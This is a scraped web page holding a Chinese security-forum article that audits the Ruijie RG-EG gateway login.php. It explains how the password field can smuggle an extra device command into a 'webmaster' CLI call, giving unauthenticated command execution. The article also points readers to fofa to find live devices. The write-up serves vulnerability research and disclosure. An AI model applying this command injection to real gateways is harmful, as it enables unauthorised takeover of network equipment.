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 truncated
|
||||
<style>@media(min-width:1200px){}@media(min-width:768px){}@media(max-width:767px){}@media(max-width:767px){}@media(min-width:768px){}@media(min-width:992px){}@media(min-width:1200px){}html{font-size:10px;-webkit-tap-highlight-color:transparent}body{font-family:-apple-system,"Helvetica Neue",Helvetica,Arial,"PingFang SC","Hiragino Sans GB","WenQuanYi Micro Hei","Microsoft Yahei",sans-serif;font-size:14px;line-height:1.5;color:#333;background-color:#f6f6f6;word-break:break-word}textarea{font-family:inherit;font-size:inherit;line-height:inherit}ul{padding:0}.wrap{padding-bottom:30px;position:relative}.main{background-color:#fff;border-radius:4px}.mb-20{margin-bottom:20px}.mt-10{margin-top:10px}.mt-30{margin-top:30px}.taglist-inline{list-style:none;padding:0;font-size:0}.taglist-inline li{padding:0;font-size:13px}.taglist-inline>li{display:inline-block;margin-right:5px}.taglist-inline>li:last-child{margin-right:0}.widget-article .quote{padding:25px;background:#f3f5f9;line-height:24px;overflow:hidden}@media(min-width:768px){}.word-wrap{word-wrap:break-word;word-break:normal}::-webkit-scrollbar{width:6px;height:6px}::-webkit-scrollbar-thumb{background-color:#e4e6eb;outline:0;border-radius:2px}::-webkit-scrollbar-track{box-shadow:none;border-radius:2px}</style>
|
||||
<style>a{text-decoration:none}a:focus,a:hover{color:#004e31;text-decoration:underline}@media(max-width:767px){}@media(max-width:767px){}.tag{display:inline-block;padding:0 8px;color:#017e66;background-color:#e7f2ed;height:24px;line-height:24px;font-weight:400;font-size:13px;text-align:center}.tag[href]:focus,.tag[href]:hover{background-color:#017e66;color:#fff;text-decoration:none}</style>
|
||||
<style>@-moz-keyframes blink{50%{background-color:transparent}}@-webkit-keyframes blink{50%{background-color:transparent}}@keyframes blink{50%{background-color:transparent}}.markdown-body{color-scheme:light;--color-prettylights-syntax-comment:#6e7781;--color-prettylights-syntax-constant:#0550ae;--color-prettylights-syntax-entity:#8250df;--color-prettylights-syntax-storage-modifier-import:#24292f;--color-prettylights-syntax-entity-tag:#116329;--color-prettylights-syntax-keyword:#cf222e;--color-prettylights-syntax-string:#0a3069;--color-prettylights-syntax-variable:#953800;--color-prettylights-syntax-brackethighlighter-unmatched:#82071e;--color-prettylights-syntax-invalid-illegal-text:#f6f8fa;--color-prettylights-syntax-invalid-illegal-bg:#82071e;--color-prettylights-syntax-carriage-return-text:#f6f8fa;--color-prettylights-syntax-carriage-return-bg:#cf222e;--color-prettylights-syntax-string-regexp:#116329;--color-prettylights-syntax-markup-list:#3b2300;--color-prettylights-syntax-markup-heading:#0550ae;--color-prettylights-syntax-markup-italic:#24292f;--color-prettylights-syntax-markup-bold:#24292f;--color-prettylights-syntax-markup-deleted-text:#82071e;--color-prettylights-syntax-markup-deleted-bg:#ffebe9;--color-prettylights-syntax-markup-inserted-text:#116329;--color-prettylights-syntax-markup-inserted-bg:#dafbe1;--color-prettylights-syntax-markup-changed-text:#953800;--color-prettylights-syntax-markup-changed-bg:#ffd8b5;--color-prettylights-syntax-markup-ignored-text:#eaeef2;--color-prettylights-syntax-markup-ignored-bg:#0550ae;--color-prettylights-syntax-meta-diff-range:#8250df;--color-prettylights-syntax-brackethighlighter-angle:#57606a;--color-prettylights-syntax-sublimelinter-gutter-mark:#8c959f;--color-prettylights-syntax-constant-other-reference-link:#0a3069;--color-fg-default:#24292f;--color-fg-muted:#57606a;--color-fg-subtle:#6e7781;--color-canvas-default:#fff;--color-canvas-subtle:#f6f8fa;--color-border-default:#d0d7de;--color-border-muted:hsl(210,18%,87%);--color-neutral-muted:rgba(175,184,193,0.2);--color-accent-fg:#0969da;--color-accent-emphasis:#0969da;--color-attention-subtle:#fff8c5;--color-danger-fg:#cf222e}.markdown-body{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;margin:0;color:var(--color-fg-default);background-color:var(--color-canvas-default);font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body img{border-style:none;max-width:100%;-webkit-box-sizing:content-box;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body ::-webkit-input-placeholder{color:inherit;opacity:.54}.markdown-body ::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}.markdown-body h2,.markdown-body h3{margin-top:24px;margin-bottom:16px;line-height:1.25}.markdown-body h2{font-weight:600;padding-bottom:.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h3{font-weight:600;font-size:1.25em}.markdown-body ol{padding-left:2em}.markdown-body ::-webkit-input-placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body ::placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body p,.markdown-body ol{margin-top:0;margin-bottom:16px}.markdown-body li>p{margin-top:16px}.markdown-body li+li{margin-top:.25em}.markdown-body ::-webkit-calendar-picker-indicator{-webkit-filter:invert(50%);filter:invert(50%)}</style>
|
||||
<style>#md_view{padding:0 20px}#md_view img:hover{cursor:pointer}</style>
|
||||
<!--[if lt IE 9]>
|
||||
<script src="/static/js/html5shiv.min.js"></script>
|
||||
<script src="/static/js/respond.min.js"></script>
|
||||
<![endif]-->
|
||||
<style>html #layuicss-skinlayercss{display:none;position:absolute;width:1989px}@-webkit-keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@-webkit-keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);-ms-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);-ms-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);-ms-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);-ms-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);-ms-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);-ms-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@media screen and (max-width:1100px){}</style><style>@media(pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
|
||||
* Waves v0.7.5
|
||||
* http://fian.my.id/Waves
|
||||
*
|
||||
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
|
||||
* Released under the MIT license
|
||||
* https://github.com/fians/Waves/blob/master/LICENSE
|
||||
*/</style><style>@media(max-height:620px){}@media(max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media(pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style data-id=immersive-translate-input-injected-css>@-webkit-keyframes immersive-translate-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes immersive-translate-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}@keyframes immersiveTranslateShadowRolling{0%{box-shadow:0Line truncated
|
||||
<body>
|
||||
<div class="global-nav mb-50" style="display:none !important">
|
||||
|
||||
</div>
|
||||
<div class="top-alert mt-60 clearfix text-center" style="display:none !important">
|
||||
<!--[if lt IE 9]>
|
||||
<div class="alert alert-danger topframe" role="alert">你的浏览器实在<strong>太太太太太太旧了</strong>,放学别走,升级完浏览器再说
|
||||
<a target="_blank" class="alert-link" href="http://browsehappy.com">立即升级</a>
|
||||
</div>
|
||||
<![endif]-->
|
||||
|
||||
</div>
|
||||
<div class=wrap>
|
||||
<div class=container>
|
||||
<div class="row mt-10">
|
||||
<div class="col-xs-12 col-md-9 main">
|
||||
<div class=widget-article>
|
||||
<h3 class="title word-wrap">一次有趣的锐捷前台无条件RCE漏洞分析</h3>
|
||||
<ul class=taglist-inline>
|
||||
<li class=tagPopup><a class=tag href=https://forum.butian.net/topic/47>渗透测试</a></li>
|
||||
</ul>
|
||||
<div class="content mt-10">
|
||||
<div class="quote mb-20">
|
||||
本篇文章对锐捷前台无条件RCE漏洞进行细致分析和代码审计,带你一步步进入最高权限的天堂,感受CNVD满分漏洞的无穷魅力
|
||||
</div>
|
||||
<textarea id=md_view_content style=display:none>前言
|
||||
--
|
||||
|
||||
之前提交过一次锐捷RG-EG系列出口网关的逻辑漏洞,最近几天有时间再次审计一下,这次主要针对WEB管理端的登录功能进行审计。锐捷RG-EG系列的出口网关是网络设备,类似这种网络设备一般都会内置web管理端,网络设备最主要的是设备功能,从而导致开发者在web端的逻辑设计方面存在疏忽,造成漏洞的产生。这次审计最终成功找到了前台无条件命令执行漏洞,也算是给之前的逻辑漏洞成因画上了一个完美的句号,接下来我将回到当初审计的视角,带大家一起复盘这次有趣的审计过程。
|
||||
|
||||
审计过程
|
||||
----
|
||||
|
||||
### 接口发现
|
||||
|
||||
1. 这次我手中的是WEB管理端的源码,这种设备说实话是不太好审的,因为这是网关设备,我们本地无法搭建完整的环境, 小伙伴们如果想测试可以去fofa上搜一下相关的在线资产,我这里也是拿一个朋友公司的网站,叫他帮我搭了一个,供我们进行测试。
|
||||
|
||||

|
||||
2. 同时我们使用浏览器的SwitchyOmega插件,把本地代理端口切到8080,打开Burp,抓一下登录功能的接口及参数,从返回包可以看到登录功能为login.php,登录逻辑非常的朴实无华,POST发送用户名密码,返回json带着状态和数据。
|
||||
|
||||

|
||||
|
||||
### 代码审计
|
||||
|
||||
1. 找到了登录功能后,我们打开login.php,大概看一下这个登录逻辑
|
||||
|
||||

|
||||
|
||||

|
||||
2. 负责登录处理的函数就是上面这个,其中首先会传进来两个变量"username"和"password",就是账号和密码,是我们可控的变量,同时会首先判断不能让这两个变量是空的,然而其实这么写是有个逻辑问题,光靠判断是否=false实际并不能判断是否为空,哈哈,不过这无关紧要。
|
||||
|
||||

|
||||
3. 接下来可以看到有个$res变量,这个变量装载着执行execCli()函数的返回结果。
|
||||
|
||||

|
||||
4. 从下面的代码我们可以看出下面的大多是对$res的值进行判断,从而直接给出结果,所以我们大概能猜到这是一个状态码变量,通过它的值来判断登陆成功与否,又因为他是execCli函数的返回结果,因此我们判断execCli会接管登录逻辑判断这一任务
|
||||
|
||||

|
||||
5. 跟进到execCli函数,我们可以看到这个函数有三个形式参数,$mode, $command, $answer,初步猜测第一个是模式,第二个是命令,从上面我们也可以知道从login.php传过来的时候,$mode=exec, $command="webmaster $username $password",到这里我们确定了execCli函数会执行命令,但是这个命令我们没有见过,不是常见的系统命令,于是接着往下进一步分析下execCli这个函数是怎么处理这条命令的。
|
||||
|
||||

|
||||
6. 往下看这个函数的内部一开始也是在判断参数是否为空,然后在下面会传入到一个php\_exec\_cli函数中,我一开始想着又是要看另一个函数,于是按着Ctrl对函数名一阵狂点,试图跟进,但是死活不管用....
|
||||
|
||||

|
||||
7. 仔细一看,哈哈,原来是上面自己定义的一个函数,动态加载php cli的通信模块,与其他命令行进行了互联通信,但是我们本地的源码并没有client.so。此时陷入了僵局,当时我也不知道webmaster 这究竟是一条什么命令。
|
||||
|
||||

|
||||
8. 再次回看,复盘分析,去群里问,去百度,谷歌搜索,我坐下来再次思考,这是一套网络设备的web管理系统,里面的许多功能更多地是以web的方式展示设备的各项数据,再加上除了login.php,其他功能点也有很多用了execCli这个函数,因此大胆猜测,这里执行的应该是网关设备的命令,类似于路由器命令。
|
||||
9. 假如你是一名运维小哥,那么看到这里也许你心里已经自动有了Payload,然而,在此之前我从未接触过这种网络设备的命令都有什么,也不知道不同的设备有没有通用的命令,因此我还是回归渗透测试的视角,进入官网点击客服,开始社工!(小小的咨询)
|
||||
|
||||

|
||||
10. 三下五除二拿到了设备命令手册,详细地看了下,发现了许多敏感命令,例如直接操作更改设备相关信息,更改ip信息,更改路由等等,结合百度,发现了一些没有危害的命令: Show命令,主要用于返回信息。
|
||||
|
||||

|
||||
|
||||
### 复现开始
|
||||
|
||||
1. 经过审计阶段,我们如今已经知道login.php存在命令执行,POST请求的username和password参数最终会被拼到webmaster命令里,最终到后端设备会执行webmaster username password 命令,之后后端会再将执行的结果返回给前端,如果成功,那么直接返回1,如果不成功,会返回错误+报错信息,如下我画了一张图,举例:如果让username=abc, password=bcd, 那么程序的命令执行过程是这样的:
|
||||
|
||||

|
||||
2. 因为password拼接了命令的后半部分,因此我们只需要构造一下password参数即可,使用"?"符号可以用来分割两条命令,类似Linux的管道符"||",之后再加上我们要执行的命令,Payload打造完成:
|
||||
|
||||

|
||||
3. 这样以来,我们直接到burp中发送payload,即可实现任意命令执行,如图burp中的返回包中已经返回了show version命令的执行结果,显示了当前设备的详细版本等信息
|
||||
|
||||

|
||||
|
||||
总结复盘
|
||||
----
|
||||
|
||||
这次命令执行审计出现的最终原因还是因为没有进行参数过滤,使得其他命令传到了后端,并且被设备执行了,但这对于渗透测试人员来说,也是一种提示,当今许多的网络设备都配有web管理端,许多开发者为了开发方便,直接写一个执行设备命令的接口,然后通过增加路由器命令来验证账号密码对错与否,虽说这种方式对于其他功能的二次开发以及整合确实省事了不少,但也导致了安全问题,我审计这个系统之后也找了其他的设备源码进行分析,发现不少设备厂商都有像这篇文章写的这样大同小异的问题,由此可知,即使是网络设备,我们也不能放过蛛丝马迹,即使执行的是设备命令或者配置命令,也会有很大的危害!
|
||||
|
||||
我是小安,感谢你能看到这里,欢迎对我的文章发表评论和批评,祝你生活愉快~</textarea>
|
||||
<div id=layer-photos-demo>
|
||||
<div id=md_view><div class=markdown-body><h2 blockindex=0>前言</h2>
|
||||
<p blockindex=1>之前提交过一次锐捷RG-EG系列出口网关的逻辑漏洞,最近几天有时间再次审计一下,这次主要针对WEB管理端的登录功能进行审计。锐捷RG-EG系列的出口网关是网络设备,类似这种网络设备一般都会内置web管理端,网络设备最主要的是设备功能,从而导致开发者在web端的逻辑设计方面存在疏忽,造成漏洞的产生。这次审计最终成功找到了前台无条件命令执行漏洞,也算是给之前的逻辑漏洞成因画上了一个完美的句号,接下来我将回到当初审计的视角,带大家一起复盘这次有趣的审计过程。</p>
|
||||
<h2 blockindex=2>审计过程</h2>
|
||||
<h3 blockindex=3>接口发现</h3>
|
||||
<ol blockindex=4>
|
||||
<li>
|
||||
<p>这次我手中的是WEB管理端的源码,这种设备说实话是不太好审的,因为这是网关设备,我们本地无法搭建完整的环境, 小伙伴们如果想测试可以去fofa上搜一下相关的在线资产,我这里也是拿一个朋友公司的网站,叫他帮我搭了一个,供我们进行测试。</p>
|
||||
<p><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABd4AAANWCAYAAADgO57dAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdeXidZYH//8/J0qRJ94WCLAJSoKCCBauAhUFxAS0/hNFR/AojDsiFzOCMwCg66jjAoDjfQVkGdaw/YFAGBJQKbigDDDAWh01ZpMhSQApd0pY0TZrlfP8oOSRNmqbtk6Str9d1cZHznGe5c5pwXbyfu/dTOven55YDAAAAAAAUomqkBwAAAAAAANuSmsHsVCqVMnXi9pkwdmLGjZmQcWMmpL5u9IDHtLa1ZmXz8qxsXp7lLy/L4qZFKZc3f3L9tMmvyfhXxjB+7MTUjarf7HMCa7Wtac2Kl5dnZXNTljc35aWlLwzdxcpJSoPYBgAAAABbmQ2G94b6xuy395szcdzkjTpxfV196uu2z3aTt0+SNK1cmgcfuzctras2aaANoxuz/96zMmHspE06HtiwulH12W5y79/bBx6bn9WtLYWcv5xySt1lvb/AXlrPvgAAAACwFSkNtMb7zjvsmhm7vzE11bWFXKyjsz2P/OGhPLfo6Y06bucddss+u78x1dWDmqAPFKijsz2PPPlQnnvh6Y0/uJTK33TZ5IhuFjwAAAAAW5n1luxddtg9r5/+pmIvVl2bN+55QKpKVVn4wpODOua1r3ld9t1j/0LHAQxeTXVt3jj9gFRl8L+3FeWkVC5tXjh/Jd6XSuo7AAAAAFuHfh+u2jB6TGbs/oYhu+iM3d+QhtFjNrhfw+gx2XsIxwEM3ozd35DR9Q0bdUy5XC5ktnqpVCrkGREAAAAAMBz6hPdSqZT99jpwSJd1qa6uyX57HbjBGaz77z0r1VXVQzYOYPDW/t6+efAHlFPoLPVSqbR22RkAAAAA2ML1Ce/jx07c6AepboqJ4yZn/NiJ631/0vgpmTDA+8DwmzR+SiaOHcR/H4ZqXXarzQAAAACwFegT3ieMnTRsFx/oWsM5DmDwxo8fxA0xgRwAAACAP2F91pOZPGHqsF18wrhJyfP9vzfQbPhuteVRqW4dm47Ocsopp5TS2uUoSkkppeSVZS7K5a6UkzSM7kpzaWW60lngdwF/Wga8KVZK0pUhD+/dv+8AAAAAsCXqE96Hc6b5xAGuNWn8hm8AVHc25Ad3rciqNR3pKpdTSjnVpXJK5VKqq6pSVVWb2traVFeXUlVK9n1NXfZ63Zi8XFoxqPFdedHcHPzO2dlj3+lJkjOOOzVfv/7yyvszG2bkl8/clYlT134f82+7J0teXJKjPjSn13lmNszIfS2P9jn/zIYZgxpHz2PXPdcZx52aL11+fmUMG+vCM8/P9y+7qte2a++9KXf/4s6c8KmTMv+2e/LYg4/mhE+d1Ouad/7k9vWe89y5X81RH5qTpsXL8o7XHjLosVx/349z3Mz3DXr/np89w2fApag2YYmZy06/LCklp1182qCPEd0BAAAA2JL1Ce91o+qH7eKj6xvX+17dqLoBj61KdRY+U5ObHnwpdXWvrJjT1Zk1rW3pbG9PurpS1VVOdU1dlnbUp7OqOlXl5F2vn5S/PWZimquaNji+i865sFdw/tLl51fi+4Vnnp9r772p3/DbX3DuGdkvv3luZh1+UGYfeVivkN+fM447tfL1LdfMy7X33pSmxcsyceqkzL/tntz5k9v7XKu/yL